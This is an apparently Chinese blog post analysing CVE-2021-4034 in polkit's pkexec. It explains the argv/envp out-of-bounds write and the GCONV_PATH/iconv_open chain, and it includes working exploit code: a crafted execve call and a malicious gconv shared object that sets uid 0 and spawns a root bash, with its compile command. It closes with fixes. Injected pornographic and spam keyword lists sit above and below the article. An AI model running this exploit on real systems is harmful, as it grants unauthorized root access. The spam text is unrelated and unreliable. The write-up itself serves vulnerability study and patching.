<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      CVE-2021-4034 pkexec再深入分析

      1.漏洞編號

      CVE-2021-4034

      2.影響范圍

      2021以前發行版

      3.漏洞詳情

      此漏洞exp利用流程上來說,可以分為兩個部分

      1.設置惡意環境變量

      2.通過惡意環境變量執行命令

      3.1 設置惡意環境變量

      pkexec 源碼地址

      https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

      在533行,n被賦值為1

      610行,存在越界讀取,我們執行pkexec的時候,不傳參數,argv數組只有默認的0下標,1是不存在

      那么argv[1]是什么呢?

      當我們執行一個程序時,內核會將我們的參數、環境字符串和指針(argv 和 envp)復制到新程序堆棧的末尾;如下所示:

      |---------+---------+-----+------------|---------+---------+-----+------------|
      | argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
      |----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
           V         V                V           V         V                V
       "program" "-option"           NULL      "value" "PATH=name"          NULL

      因為argv和envp指針在內存中是連續的,那么argv[1]實際上指向的是envp[0]

      通過給argv[1] 賦值就能修改環境變量

      在632行,調用了g_find_program_in_path函數

      根據glib的源碼,這個函數是用來在PATH中搜索傳參的絕對路徑的,比如傳參id,返回是/usr/bin/id,然后在639行將返回值越界寫入了argv[1],也就是第一個環境變量

      根據這個流程,我們使用如下代碼,可以做到設置惡意環境變量

      shell創建文件夾 mkdir GCONV_PATH\=.,在目錄中創建test文件

      char *a_argv[]={ NULL };
      char *a_envp[]={
              "test",
              "PATH=GCONV_PATH=.",
              NULL
          };
      execve("/usr/bin/pkexec", a_argv, a_envp);
      

      經過g_find_program_in_path函數以后,在我們創建的畸形目錄中搜索到了test文件,此時envp[0]的的值為GCONV_PATH=./test

      惡意環境變量完成,然后這里就有一個問題,我們費勁巴拉搞半天,就為了把GCONV_PATH設置到環境變量,為什么不直接通過execve函數把環境變量傳進入呢?

      當時這里我也沒理解,后來看先知上的23R3F師傅的文章才搞懂了,linux 的動態連接器ld-linux-x86-64.so.2 會在特權程序執行的時候清除敏感環境變量。

      我們可以測試一下,id為沒有賦予suid權限,成功輸出了hello。

      pkexec有suid權限,LD_PRELOAD其實是沒有生效的。

      我個人的理解就是,在linux里面定義的這些敏感環境變量,除非suid程序自己本身setenv了,否則外部是無效的

      3.2通過惡意環境變量執行命令

      走到670行,

      用for遍歷environment_variables_to_save作key,去環境變量中取值

      然后傳給函數validate_environment_variable,此函數是檢測shell是否合法的,需要通過這個函數來觸發關鍵函數g_printerrr

      有兩種方法,傳環境變量SHELL=test,或者走第二個if,XAUTHORITY=..

      g_printerr中間接調用了linux的iconv_open函數,調用鏈如下

      strdup_convert() <- glib/gmessages.c:1126
      g_convert_with_fallback() <- glib/gmessages.c:676
      g_convert() <- glib/gconvert.c:972
      open_converter() <- glib/gconvert.c:876
      g_iconv_open() <- glib/gconvert.c:637
      try_conversion() <- glib/gconvert.c:260
      iconv_open() <- glib/gconvert.c:208

      iconv_open函數會根據環境變量中的GCONV_PATH的目錄下的gconv-modules文件

      文件內容如下

      表示UTF-8轉換到LANYI編碼,需要用到lanyi.so,1表示表示轉換成本的數值。如果缺少該單詞,則假定成本為1,我們將惡意的lanyi.so放到當前目錄下,然后通過網上的一段demo來測試是否能正常加載so

      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <iconv.h>
      
      int main(int argc, char **argv)
      {
        /* 目的編碼, TRANSLIT:遇到無法轉換的字符就找相近字符替換
         *          IGNORE  :遇到無法轉換字符跳過*/
        //char *encTo = "UNICODE//TRANSLIT";
        setenv("GCONV_PATH", "./", 1);
        char *encTo = "LANYI";
        /* 源編碼 */
        char *encFrom = "UTF-8";
      
        /* 獲得轉換句柄
         *@param encTo 目標編碼方式
         *@param encFrom 源編碼方式
         *
         * */
        iconv_t cd = iconv_open (encTo, encFrom);
        if (cd == (iconv_t)-1)
        {
            perror ("iconv_open");
        }
      
        /* 需要轉換的字符串 */
        char inbuf[1024] = "abcdef哈哈哈哈行"; 
        size_t srclen = strlen (inbuf);
        /* 打印需要轉換的字符串的長度 */
        printf("srclen=%d\n", srclen);
      
        /* 存放轉換后的字符串 */
        size_t outlen = 1024;
        char outbuf[outlen];
        memset (outbuf, 0, outlen);
      
        /* 由于iconv()函數會修改指針,所以要保存源指針 */
        char *srcstart = inbuf;
        char *tempoutbuf = outbuf;
      
        /* 進行轉換
         *@param cd iconv_open()產生的句柄
         *@param srcstart 需要轉換的字符串
         *@param srclen 存放還有多少字符沒有轉換
         *@param tempoutbuf 存放轉換后的字符串
         *@param outlen 存放轉換后,tempoutbuf剩余的空間
         *
         * */
        size_t ret = iconv (cd, &srcstart, &srclen, &tempoutbuf, &outlen);
        if (ret == -1)
        {
            perror ("iconv");
        }
        printf ("inbuf=%s, srclen=%d, outbuf=%s, outlen=%d\n", inbuf, srclen, outbuf, outlen);
        int i = 0;
        for (i=0; i<strlen(outbuf); i++)
        {
            printf("%x\n", outbuf[i]);
        }
      /* 關閉句柄 */
        iconv_close (cd);
      
        return 0;
      }
      

      hello被成功執行,我的so沒有實現gonv_init函數,所以報錯了

      exp:

      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>
      
      void gconv(){
          return;
      }
      
      void gconv_init() {
          setuid(0); 
          seteuid(0); 
          setgid(0);
          setegid(0);
          static char *a_argv[] = {"bash", NULL };
          static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
          execve("/bin/bash", a_argv, a_envp);
          exit(0);
      }
      

      編譯gcc -o lanyi.so -shared -fPIC lanyi.c

      然后按照前面的流程,越界寫入環境變量即可,執行so文件

      到這里還要一個問題,為什么漏洞發現者要選擇GCONV_PATH這個相對來說比較復制的變量,而不選擇LD_PRELOAD這個利用起來更簡單的變量呢?

      是因為LD_PRELOAD定義的so文件,這個加載的過程是在程序執行前執行,而pkexec已經啟動了再設置變量是無效的。

      那么就有了一個新問題,為什么php可以用過設置LD_PRELOAD來進行bypass_functions

      當時因為被這個問題搞迷糊了,就問了一下p牛。是因為PHP在設置了LD_PRELOAD后,又fork了新進程(使用popen),此時父進程的環境變量會被新進程繼承,在這個階段LD_PRELOAD被利用了。所以如果PHP里不執行mail這類可以fork新進程的函數,也是不能利用LD_PRELOAD的。

      看一下php源碼,確實是popen啟動的

      3.3漏洞復現

      4.漏洞修復

      1.更新到polkit最新版本

      2.取消pkexec的suid權限

      posted @ 2022-02-25 17:21  白鷺鷺鷺  閱讀(1078)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 久久夜色噜噜噜亚洲av| 欧美亚洲国产一区二区三区 | 国产成人午夜福利在线播放| 老男人久久青草av高清| 最新国产精品好看的精品| 日韩激情无码av一区二区| 人妻日韩人妻中文字幕| 国产精品爽爽久久久久久| 99re6这里有精品热视频| 99RE8这里有精品热视频| 免费看美女被靠到爽的视频| 精品久久久久久国产| 午夜欧美日韩在线视频播放| 在线一区二区中文字幕| 亚洲国产一区二区av| 香蕉EEWW99国产精选免费| 四虎www永久在线精品| 国产精品久久久久久久专区| 亚洲悠悠色综合中文字幕| 亚洲午夜理论片在线观看| 亚洲人成网网址在线看| 日韩乱码卡一卡2卡三卡四| 五月天免费中文字幕av| 久久国产精品免费一区| 日韩中文字幕在线不卡一区| 国产成AV人片久青草影院| 化隆| 成人午夜福利视频一区二区| 亚洲男女羞羞无遮挡久久丫| 亚洲日本韩国欧美云霸高清| 黄色三级亚洲男人的天堂| 精品一区二区成人精品| 全椒县| 亚洲中文字幕av天堂| 免费看男女做好爽好硬视频| 亚洲小说乱欧美另类| 在线观看美女网站大全免费| 国产精品毛片在线完整版| 亚洲天堂激情av在线| 少妇特殊按摩高潮惨叫无码| 亚洲熟女乱综合一区二区|